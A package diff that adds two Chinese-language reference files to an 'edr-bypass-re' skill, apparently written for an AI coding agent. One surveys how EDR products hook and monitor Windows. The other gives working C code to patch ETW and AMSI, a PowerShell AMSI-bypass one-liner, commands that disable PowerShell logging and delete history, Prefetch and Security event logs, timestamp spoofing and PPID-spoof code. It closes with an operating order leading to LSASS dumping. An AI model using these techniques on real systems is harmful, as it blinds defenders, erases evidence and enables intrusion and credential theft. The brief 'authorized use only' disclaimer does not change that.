opencode-skills-collection 4.0.43 → 4.0.45

package/bundled-skills/edr-bypass-re/references/hook-survey.md

@@ -0,0 +1,226 @@
+# EDR Hook 调研速查
+
+> 仅限授权红队 / 对抗演练 / 自有产品测试，禁止用于未授权目标。
+
+本文档汇总主流 EDR / AV 在用户态与内核态的监控点，供红队侦察阶段快速定位"该处理什么"。
+
+## 1. 主流 EDR 指纹与 hook 模式速查
+
+| 厂商 / 产品 | 用户态组件 | 内核驱动 | 主要监控面 |
+|------------|-----------|---------|-----------|
+| CrowdStrike Falcon | `CSFalconService.exe`, `CSAgent.sys` 注入到目标进程 | `CSAgent.sys`, `CSBoot.sys` | 重内核 callback + ETW-TI；用户态 hook 较少（云查) |
+| Microsoft Defender for Endpoint (MDE) | `MsMpEng.exe`, `MpClient.dll` | `WdFilter.sys`, `WdBoot.sys`, `WdNisDrv.sys` | AMSI + ETW-TI + ntdll inline hook + kernel callback 全面 |
+| SentinelOne | `SentinelAgent.exe`, `SentinelHelperService.exe` | `SentinelMonitor.sys`, `SentinelDeviceControl.sys` | ntdll 用户态 hook 重 + 内核 callback + 自有 ETW provider |
+| Elastic Defend (原 Endpoint Security) | `elastic-endpoint.exe` | `elastic-endpoint-driver.sys` | 主要 ETW + 少量 ntdll hook，配合 Elastic Agent 上传 |
+| ESET | `ekrn.exe`, `eamsi.dll` | `eamonm.sys`, `epfwwfp.sys` | 用户态 hook 非常多（NtCreateFile / NtOpenProcess 等） |
+| Sophos Intercept X | `SophosFileScanner.exe`, `SophosNtpService.exe` | `SophosED.sys`, `hmpalert.sys` | ntdll hook + HMPA 内存防护 + 内核 callback |
+| Kaspersky | `avp.exe`, `klif.sys` | `klif.sys`, `klhk.sys` | 重用户态 hook + KLIF 自有微过滤 + 网络过滤驱动 |
+| Trend Micro Apex One | `TmListen.exe`, `TmCCSF.dll` | `tmcomm.sys`, `tmactmon.sys` | 用户态 hook + 行为监控驱动 |
+| Carbon Black | `RepMgr.exe`, `RepWAV.exe` | `ParityDriver.sys` | 偏内核 callback + ETW |
+
+### 快速指纹脚本
+
+```powershell
+$edrSigs = @{
+    'CSAgent'           = 'CrowdStrike Falcon'
+    'SentinelAgent'     = 'SentinelOne'
+    'elastic-endpoint'  = 'Elastic Defend'
+    'ekrn'              = 'ESET'
+    'MsMpEng'           = 'Microsoft Defender'
+    'SophosFileScanner' = 'Sophos Intercept X'
+    'avp'               = 'Kaspersky'
+    'TmListen'          = 'Trend Micro Apex One'
+    'cb'                = 'Carbon Black'
+}
+
+Get-Process | ForEach-Object {
+    foreach ($k in $edrSigs.Keys) {
+        if ($_.ProcessName -match $k) {
+            "[+] $($edrSigs[$k]) detected: $($_.ProcessName) (PID $($_.Id))"
+        }
+    }
+}
+
+Get-ChildItem 'C:\Windows\System32\drivers\*.sys' |
+    Where-Object { $_.Name -match 'CSAgent|Sentinel|elastic|eam|WdFilter|Sophos|klif|tmcomm|Parity' } |
+    Select-Object Name, VersionInfo
+```
+
+## 2. 用户态 ntdll hook 重点函数
+
+EDR 几乎一定 hook 的 `ntdll.dll` 导出（按 ATT&CK 行为分组）：
+
+| 函数 | 监控的行为 | ATT&CK |
+|------|-----------|--------|
+| `NtCreateThreadEx` | 远程线程注入、QueueUserAPC 注入 | T1055.002 / T1055.004 |
+| `NtAllocateVirtualMemory` | shellcode 申请 RWX 内存 | T1055 |
+| `NtAllocateVirtualMemoryEx` | 跨进程内存申请（Win10+ 新 API） | T1055 |
+| `NtProtectVirtualMemory` | 改页面权限 RW→RX | T1055 |
+| `NtWriteVirtualMemory` | 跨进程写 shellcode | T1055.012 |
+| `NtMapViewOfSection` | section-based 注入（Process Doppelganging / Ghosting） | T1055.013 |
+| `NtCreateSection` | 配合 MapViewOfSection | T1055.013 |
+| `NtOpenProcess` | 打开目标进程拿 handle | T1057 |
+| `NtQueueApcThread` / `NtQueueApcThreadEx` | APC 注入 | T1055.004 |
+| `NtCreateProcess` / `NtCreateProcessEx` / `NtCreateUserProcess` | 创建子进程（含 PPID spoof） | T1106 |
+| `NtSetContextThread` | 改线程上下文（线程劫持注入） | T1055.003 |
+| `NtResumeThread` | 注入完后恢复线程 | T1055 |
+| `NtQuerySystemInformation` | 枚举进程 / 驱动 / handle | T1057 / T1082 |
+| `NtAdjustPrivilegesToken` | 提权获取 SeDebugPrivilege 等 | T1134 |
+| `NtLoadDriver` | 加载内核驱动（BYOVD） | T1543.003 |
+
+### 验证 hook 是否存在
+
+```powershell
+# 简单：把磁盘 ntdll 和当前进程的 ntdll 反汇编 diff
+# 1. 拿磁盘 ntdll
+copy C:\Windows\System32\ntdll.dll C:\temp\ntdll_clean.dll
+
+# 2. 在 windbg 中 attach 任意进程，导出当前 ntdll 的 .text 段
+# .writemem c:\temp\ntdll_live.bin ntdll!.text L?<size>
+
+# 3. 用 IDA / radare2 反汇编 NtAllocateVirtualMemory，正常应该是：
+#    mov r10, rcx
+#    mov eax, <SSN>
+#    test byte ptr [...]
+#    jne ...
+#    syscall
+#    ret
+# 如果第一条变成 jmp <某地址>，那就是 hook
+```
+
+## 3. 内核 callback 监控点
+
+EDR 注册的常见内核回调（一律可被 `attack-chain` 中的 BYOVD 路线 unregister，但代价高）：
+
+| API | 注册的回调时机 | 防御方用途 |
+|-----|--------------|-----------|
+| `PsSetCreateProcessNotifyRoutineEx` | 进程创建 / 退出 | 拦截可疑 child process |
+| `PsSetCreateThreadNotifyRoutine` | 线程创建 / 退出 | 检测远程线程注入 |
+| `PsSetLoadImageNotifyRoutine` | DLL / EXE 加载到任意进程 | 模块完整性 / 未签名拦截 |
+| `CmRegisterCallback` / `CmRegisterCallbackEx` | 注册表操作 | 持久化检测 |
+| `ObRegisterCallbacks` | `OpenProcess` / `OpenThread` 句柄请求 | 防止 LSASS 句柄获取 (T1003.001) |
+| `MmRegisterPhysicalMemoryCallback` | 物理内存映射 | 防 DMA / 内存取证 |
+| `IoRegisterFsRegistrationChange` | 文件系统注册 | minifilter 协同 |
+| `KeRegisterNmiCallback` | NMI（极少 EDR 用） | 异常监控 |
+| `EtwRegister` (内核侧) | 内核 ETW 上报 | 跟 ETW-TI 共生 |
+
+### 用 windbg 枚举已注册 callback
+
+```text
+0: kd> dx -r1 nt!PspCreateProcessNotifyRoutine
+0: kd> dx -r1 nt!PspCreateThreadNotifyRoutine
+0: kd> dx -r1 nt!PspLoadImageNotifyRoutine
+
+0: kd> !object \Callback
+0: kd> !object \Callback\ProcessObject
+```
+
+或用 PChunter / DRVHV 这类工具，普通用户可视化看 callback 列表。
+
+## 4. 静态 dump hook 表（IDA + windbg 流程）
+
+### 流程 A：单进程比对
+
+```text
+1. 找一个已被 EDR 注入用户态组件的进程（任意已存活进程）
+2. windbg attach (-pn target.exe)
+3. lm m ntdll  → 拿到模块基址
+4. .writemem c:\temp\ntdll_live.bin ntdll+0x0 L?<image size>
+5. 把 C:\Windows\System32\ntdll.dll 复制为 c:\temp\ntdll_disk.dll
+6. 在 IDA 里加载两个文件，跳到 NtAllocateVirtualMemory：
+     - disk：标准 prologue
+     - live：第一条 jmp <0x7FFE000000xx>
+7. 跟着 jmp 目标地址 → 那就是 EDR 的 trampoline，dump 出来
+8. 进 trampoline 看它最终落到哪个 DLL，确认 EDR 模块名
+```
+
+### 流程 B：批量 hook 表生成
+
+用 `HookHunter` 或自写脚本：
+
+```powershell
+# pseudo workflow，详见 references 提到的脚本
+$disk = Get-Content C:\Windows\System32\ntdll.dll -Encoding Byte
+$live = # 通过 OpenProcess + ReadProcessMemory 拿
+# 对比 .text 段每个 export 的前 16 字节
+```
+
+## 5. pe-sieve 自动检测
+
+`pe-sieve` 是侦察 EDR hook 与 implant 自检的首选：
+
+```powershell
+# 基本扫描
+pe-sieve64.exe /pid 1234
+
+# 推荐组合（含 shellcode 与 hook 检测）
+pe-sieve64.exe /pid 1234 /shellc 3 /modules 3 /imp 3 /data 3 /dir hooks_dump
+
+# 关键参数：
+#   /shellc N    shellcode 扫描等级 (0-3)
+#   /modules N   模块完整性检查 (0-3)
+#   /imp N       IAT hook 检查
+#   /data N      数据段扫描
+#   /dir <path>  dump 输出目录
+```
+
+输出会在 `hooks_dump/<pid>.<name>/` 下产生 `*.tag` 文件，列出 hook 地址：
+
+```text
+modified_modules.tag 示例：
+71f10000;ntdll.dll
+71f1a3b0;hook;jmp_far
+71f1c020;hook;jmp_near
+```
+
+可直接喂给 IDA 跳到对应 RVA 做后续分析。
+
+### 在 implant 中嵌入 pe-sieve（自检）
+
+实战中常把 `pe-sieve` 编译为 lib (`libpe-sieve`)，让 implant 启动时先自检：如果 ntdll 有 hook，就触发 unhook 流程；如果发现自己被 hook 反而要小心，可能在沙箱里。
+
+## 6. API Monitor v2 动态观察
+
+API Monitor v2（Rohitab）适合在 lab 里看 EDR 在何时何处插入 hook：
+
+```text
+1. 启动 API Monitor v2（管理员）
+2. API Filter 勾选：
+     - NT Native API → Memory Management
+     - NT Native API → Process and Thread
+     - Windows Defender / AMSI（如果可见）
+3. Monitor New Process → 选择 implant 测试样本
+4. 观察：
+     - NtAllocateVirtualMemory 调用顺序
+     - 是否被 EDR DLL 中转
+5. 在 Modules tab 看哪些 EDR DLL 被 LoadLibrary 注入
+```
+
+## 7. 常见 EDR DLL（用户态）速查
+
+| DLL | 厂商 | 备注 |
+|-----|------|------|
+| `umppc*.dll` | Microsoft Defender | MpClient userland |
+| `mpoav.dll` | Microsoft Defender | AMSI provider |
+| `aswAMSI.dll` | Avast | AMSI provider |
+| `eamsi.dll` | ESET | AMSI provider |
+| `IDPMServiceClient.dll` | Sophos | HMPA 注入 |
+| `klsihk64.dll` | Kaspersky | 注入到目标进程 |
+| `CrowdStrike.Sensor.dll` | CrowdStrike | 旧版本，新版主要靠内核 |
+| `SentinelInjection64.dll` | SentinelOne | 用户态注入 |
+| `TmUmEvt64.dll` | Trend Micro | 行为监控 |
+
+确认目标 EDR 后，再决定逆向哪个 DLL 取 hook 表。
+
+## 参考链接
+
+- pe-sieve：<https://github.com/hasherezade/pe-sieve>
+- HollowsHunter：<https://github.com/hasherezade/hollows_hunter>
+- API Monitor v2：<http://www.rohitab.com/apimonitor>
+- MITRE ATT&CK T1562：<https://attack.mitre.org/techniques/T1562/>
+- MITRE ATT&CK T1055：<https://attack.mitre.org/techniques/T1055/>
+- ired.team EDR notes：<https://www.ired.team/offensive-security/defense-evasion>
+
+## 路由回调
+
+完成 hook 调研后，回到 `SKILL.md` 的 Step 3 选择绕过技术组合，然后按 `references/unhook-techniques.md` 与 `references/telemetry-blinding.md` 执行。

package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md

@@ -0,0 +1,346 @@
+# 遥测致盲：ETW / AMSI / 反取证
+
+> 仅限授权红队 / 对抗演练 / 自有产品测试，禁止用于未授权目标。
+
+EDR 的检测能力很大程度依赖 ETW（Event Tracing for Windows）与 AMSI（Antimalware Scan Interface）这两条遥测管道。
+本文档汇总针对这两条管道的红队对策，并补充 Sysmon / PowerShell logging / 时间戳 spoof 等反取证组合。
+
+对照 MITRE ATT&CK：T1562.001 / T1562.002 / T1562.006 / T1070 / T1027。
+
+## 1. ETW 内部结构
+
+ETW 是 Windows 内置的高性能事件追踪框架，EDR 用它做"轻量内核遥测"。
+红队最关心的 provider：
+
+| Provider GUID | 名称 | 谁在用 |
+|--------------|------|--------|
+| `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Microsoft-Windows-Threat-Intelligence (ETW-TI) | Defender、MDE、第三方 EDR |
+| `{A0C1853B-5C40-4B15-8766-3CF1C58F985A}` | Microsoft-Antimalware-Scan-Interface | Defender AMSI 上报 |
+| `{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}` | Microsoft-Windows-Kernel-Process | 进程 / 线程基础事件 |
+| `{2839FF94-8F12-4E1B-82E3-AF7AF77A450F}` | Microsoft-Windows-DotNETRuntime | .NET 加载、JIT |
+| `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | .NET CLR | CLR 启动 |
+
+### 关键用户态 API
+
+| API | DLL | 作用 |
+|-----|-----|------|
+| `EtwEventWrite` | `ntdll.dll` | 写事件（最常用） |
+| `EtwEventWriteFull` | `ntdll.dll` | 带 activity ID 的事件 |
+| `EtwEventWriteEx` | `ntdll.dll` | 扩展版本 |
+| `NtTraceEvent` | `ntdll.dll` | EtwEventWrite 底层 |
+| `NtTraceControl` | `ntdll.dll` | 控制 trace session（启/停/查询 provider） |
+| `EtwEventEnabled` | `ntdll.dll` | provider 是否启用 |
+| `EtwEventRegister` | `ntdll.dll` | 注册 provider |
+
+### 调用链
+
+```text
+应用代码 EventWrite(...)
+  → 微软封装 (TraceLogging API)
+  → ntdll!EtwEventWrite[Full|Ex]
+  → ntdll!NtTraceEvent (syscall)
+  → nt!NtTraceEvent (内核)
+  → 内核 ETW core → 消费端（EDR 用户态进程订阅 session）
+```
+
+## 2. ETW Patch 三种方法
+
+### 方法 A：EtwEventWrite head patch
+
+直接把 `ntdll!EtwEventWrite` 入口改成立即返回成功：
+
+```text
+原始：
+  4C 8B DC                 mov r11, rsp
+  48 81 EC 88 00 00 00     sub rsp, 88h
+  ...
+
+patch 后（x64）：
+  33 C0                    xor eax, eax       ; STATUS_SUCCESS = 0
+  C3                       ret
+```
+
+C 代码：
+
+```c
+#include <windows.h>
+
+BOOL PatchEtwEventWrite(void) {
+    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
+    if (!hNtdll) return FALSE;
+
+    FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
+    if (!pEtw) return FALSE;
+
+    BYTE patch[] = { 0x33, 0xC0, 0xC3 };   // xor eax,eax; ret
+    DWORD oldProt = 0;
+
+    // 注意：VirtualProtect 自身可能被 hook -> 用 indirect syscall 版本
+    if (!VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt))
+        return FALSE;
+
+    memcpy(pEtw, patch, sizeof(patch));
+
+    VirtualProtect(pEtw, sizeof(patch), oldProt, &oldProt);
+    return TRUE;
+}
+```
+
+**OPSEC 警告**：写 ntdll 内存本身是 ETW-TI 监控的 `ALPC_MODIFY_PROCESS` / `PROTECTVM` 事件源。
+必须 **先用 indirect syscall + 绕过 NtProtectVirtualMemory hook 后再 patch**，
+否则 patch 还没生效 EDR 就已经收到告警。
+
+### 方法 B：EtwEventEnabled always-false
+
+更隐蔽：不修改 `EtwEventWrite`，而是让 `EtwEventEnabled` 永远返回 FALSE，
+应用层会自己判断 "provider 没开" → 不调用 `EtwEventWrite`，对内存 hash 完整性检查更友好（很多 EDR 校验 `EtwEventWrite` 字节）。
+
+```c
+// EtwEventEnabled 通常返回 BOOLEAN (1 byte)
+BYTE patch[] = { 0x32, 0xC0, 0xC3 };   // xor al,al; ret
+```
+
+### 方法 C：NtTraceControl 关 provider
+
+用 syscall 直接关闭 EDR session（侵入式，但是不动 ntdll 字节）：
+
+```c
+// NtTraceControl(EtwpStopTrace, ...)
+// 需要 SeSystemProfilePrivilege 或更高
+// 适用于 Local Admin + UAC bypass 后
+```
+
+实战中较少用，因为：
+
+- 关 session 本身会触发"ETW provider stopped"事件被另一条管道感知
+- 需要高权限
+
+### 方法 D：内核态 ETW patch（仅在已有 BYOVD/内核读写时）
+
+```text
+nt!EtwpEventTracingProviderEnableInfo
+nt!EtwThreatIntProvRegHandle
+直接置 0 让所有 ETW-TI 事件被丢弃
+```
+
+属于 attack-chain 的 BYOVD 阶段，本 skill 不深入。
+
+## 3. AMSI Bypass
+
+AMSI 是 Windows 提供给 PowerShell / .NET / WMI / VBA 在执行脚本前做反病毒扫描的接口。
+红队最常碰到的是 PowerShell + AMSI。
+
+### 经典 AmsiScanBuffer Patch
+
+```c
+// amsi.dll!AmsiScanBuffer 入口写：
+//   mov eax, 0x80070057     ; E_INVALIDARG
+//   ret 4                    ; (32位) 或 ret (64位)
+
+BOOL PatchAmsi(void) {
+    HMODULE h = LoadLibraryA("amsi.dll");
+    if (!h) return FALSE;
+    FARPROC p = GetProcAddress(h, "AmsiScanBuffer");
+    if (!p) return FALSE;
+
+    BYTE patch64[] = {
+        0xB8, 0x57, 0x00, 0x07, 0x80,   // mov eax, 0x80070057
+        0xC3                              // ret
+    };
+    DWORD old = 0;
+    VirtualProtect(p, sizeof(patch64), PAGE_EXECUTE_READWRITE, &old);
+    memcpy(p, patch64, sizeof(patch64));
+    VirtualProtect(p, sizeof(patch64), old, &old);
+    return TRUE;
+}
+```
+
+PowerShell 一句话版本（仅参考检测对抗，本身被签名 / Defender 拦截）：
+
+```powershell
+# 概念演示——真实环境必须配合混淆 / HWBP
+[Ref].Assembly.GetType('System.Management.Automation.'+$([char]65+'msi'+'Utils')).GetField($([char]97+'msiInitFailed'),'NonPublic,Static').SetValue($null,$true)
+```
+
+### 进阶方案 1：Hardware Breakpoint AMSI Bypass
+
+不动 amsi.dll 内存（不会触发完整性扫描）：
+
+1. AddVectoredExceptionHandler
+2. 在 `AmsiScanBuffer` 入口设 `DR0`
+3. VEH 命中时设置 `RAX = 0x80070057`、`RIP = ret 指令地址`、`RSP += 8`
+4. ContinueExecution
+
+与 unhook-techniques.md 的 HWBP Blindside 同一套基础设施，可以共用 VEH。
+
+### 进阶方案 2：AmsiContext / AmsiSession 损坏
+
+构造畸形 `AmsiContext` 结构，让 `AmsiScanBuffer` 内部因为校验失败提前返回 success：
+
+```text
+// AmsiContext 头部应该是 "AMSI" 魔数
+// 改成 "XXXX" → AmsiScanBuffer 内部校验失败但返回 S_OK + AMSI_RESULT_CLEAN
+```
+
+### 进阶方案 3：Reflective 加载副本 amsi.dll
+
+不用系统 amsi.dll，把一份干净副本反射加载到自己进程，并重定向 PowerShell 引擎对 AMSI 的调用。
+适用于已经在加载阶段拦截 PowerShell.exe 启动的高级 EDR。
+
+## 4. 反取证：清除痕迹
+
+### PowerShell ScriptBlock Logging 关闭
+
+```powershell
+# 注册表（需管理员）
+Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' `
+    -Name 'EnableScriptBlockLogging' -Value 0 -Force
+
+Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' `
+    -Name 'EnableModuleLogging' -Value 0 -Force
+
+Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' `
+    -Name 'EnableTranscripting' -Value 0 -Force
+
+# Group Policy 路径：
+# Computer Configuration → Administrative Templates → Windows Components →
+#   Windows PowerShell → Turn on PowerShell Script Block Logging = Disabled
+```
+
+### 清 PowerShell history
+
+```powershell
+# 当前会话
+Clear-History
+# 持久化 history (PSReadLine)
+Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
+```
+
+### 清 Prefetch
+
+```powershell
+# 需要 SYSTEM
+Remove-Item 'C:\Windows\Prefetch\implant*.pf' -Force
+# 整体清空（动作大，慎用）
+# Remove-Item 'C:\Windows\Prefetch\*.pf' -Force
+```
+
+### 清 ETL log
+
+```powershell
+# 停 session 后删 etl
+logman stop "EventLog-Security" -ets
+Remove-Item 'C:\Windows\System32\winevt\Logs\Security.evtx' -Force -ErrorAction SilentlyContinue
+# 注意：直接删 .evtx 会被 Event Log Service 重新创建并写入 "log cleared" 事件 (Event ID 1102)
+# 更隐蔽：内存中 patch wevtsvc.dll 的 EventLog API（属于 T1070.001）
+```
+
+### 时间戳 spoof (T1070.006)
+
+```powershell
+$f = 'C:\Windows\Temp\implant.dll'
+$ref = 'C:\Windows\System32\notepad.exe'
+(Get-Item $f).CreationTime   = (Get-Item $ref).CreationTime
+(Get-Item $f).LastWriteTime  = (Get-Item $ref).LastWriteTime
+(Get-Item $f).LastAccessTime = (Get-Item $ref).LastAccessTime
+```
+
+## 5. Sysmon 监控规避
+
+Sysmon 是社区最常见的免费遥测（很多企业用 olaf 配置）。
+关键事件：
+
+| Event ID | 含义 |
+|----------|------|
+| 1 | ProcessCreate（含 PPID、CommandLine、Hash） |
+| 7 | ImageLoad（DLL 加载） |
+| 8 | CreateRemoteThread |
+| 10 | ProcessAccess（OpenProcess） |
+| 11 | FileCreate |
+| 12/13/14 | 注册表 |
+| 22 | DNS Query |
+| 25 | ProcessTampering（image hollowing） |
+
+### 规避思路
+
+1. **不创建新进程** — 全部在已注入进程内行动，避开 Event ID 1
+2. **PPID Spoof** — 用 `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)` 把 PPID 设为 `explorer.exe`，让 Sysmon ProcessCreate 看着合法
+
+```c
+STARTUPINFOEX si = {0};
+PROCESS_INFORMATION pi = {0};
+SIZE_T size = 0;
+HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, g_explorerPid);
+
+si.StartupInfo.cb = sizeof(STARTUPINFOEX);
+InitializeProcThreadAttributeList(NULL, 1, 0, &size);
+si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
+InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
+UpdateProcThreadAttribute(si.lpAttributeList, 0,
+    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
+
+CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
+    EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
+```
+
+3. **Unbacked memory + 不动镜像** — Process Hollowing 在新版 Sysmon 已经被 Event ID 25 捕获。
+   首选用 **module stomping**（覆盖已加载合法 DLL 的某节区）或 **dirty vanity** 等较新技术，
+   配合 PPID spoof
+4. **不要远程线程** — 避免 Event ID 8；用 `NtCreateThreadEx` 在自己进程内执行 / APC / Early Bird APC
+5. **DNS 走 DoH / HTTPS** — 避免 Event ID 22
+
+## 6. Call Stack Spoof + 时间戳让事件像合法软件
+
+即使 ProcessCreate 没办法不触发（比如某些场景必须 spawn child），可以：
+
+- 把 CommandLine 改成与某个合法软件相似的格式
+- PPID spoof 到 services.exe（伪装 SCM 启动的服务）
+- 修改 ImageLoad 看到的 Image hash：通过 module stomping 把 implant 代码放进一个签名 DLL 内存空间
+- 配合 CallStackSpoofer：Sysmon 即使开了 EnableCallTracing 也看不到 implant 帧
+
+## 7. 实战 OPSEC：操作顺序
+
+**顺序错了 EDR 会先收到告警**，导致后续动作直接被熔断。
+
+正确顺序：
+
+```text
+1. AMSI bypass (HWBP 优先，避免写 amsi.dll)
+   ─── 让 .NET / PowerShell 装载 implant 时不被扫
+2. ETW patch (先 patch EtwEventWrite，再做任何 syscall)
+   ─── 关掉自身后续动作的遥测
+3. NtProtectVirtualMemory 用 indirect syscall 调用
+   ─── 准备好"安全的"内存权限切换通道
+4. Unhook ntdll (Peruns Fart) 或 enable indirect syscall
+   ─── 抹掉用户态 hook
+5. Call stack spoof setup
+   ─── 准备好之后所有 syscall 的伪栈
+6. 实际 payload 执行 (注入 / 横向 / dump LSASS)
+7. 清痕迹 (PowerShell history / Prefetch / 时间戳)
+```
+
+错误顺序示例：
+
+```text
+❌ 先 unhook ntdll → ETW-TI 立即上报 PROTECTVM + module modification → SOC 已经收到告警
+❌ 先 dump LSASS → AMSI / ETW 都还没压 → 高置信 T1003.001 告警
+✅ AMSI → ETW → unhook → spoof → payload
+```
+
+## 参考资料
+
+- ETW Threat Intelligence Provider：<https://learn.microsoft.com/en-us/windows/win32/etw/event-tracing-portal>
+- ETW Patching 综述：<https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/>
+- AMSI Bypass 大全：<https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell>
+- Sysmon olaf 配置：<https://github.com/olafhartong/sysmon-modular>
+- PPID Spoofing：<https://blog.didierstevens.com/2017/03/20/>
+- Ekko sleep mask：<https://github.com/Cracked5pider/Ekko>
+- Foliage sleep obfuscation：<https://github.com/SecIdiot/FOLIAGE>
+- MITRE T1562.002 (Disable Windows Event Logging)：<https://attack.mitre.org/techniques/T1562/002/>
+- MITRE T1562.006 (Indicator Blocking)：<https://attack.mitre.org/techniques/T1562/006/>
+- MITRE T1070 (Indicator Removal)：<https://attack.mitre.org/techniques/T1070/>
+
+## 路由回调
+
+完成本三件套（hook 调研 → unhook → telemetry 致盲）后，回到 `SKILL.md` Step 5 在 sandbox 验证，
+然后按 `attack-chain/` 的 initial access 与 lateral movement 章节进入下一阶段。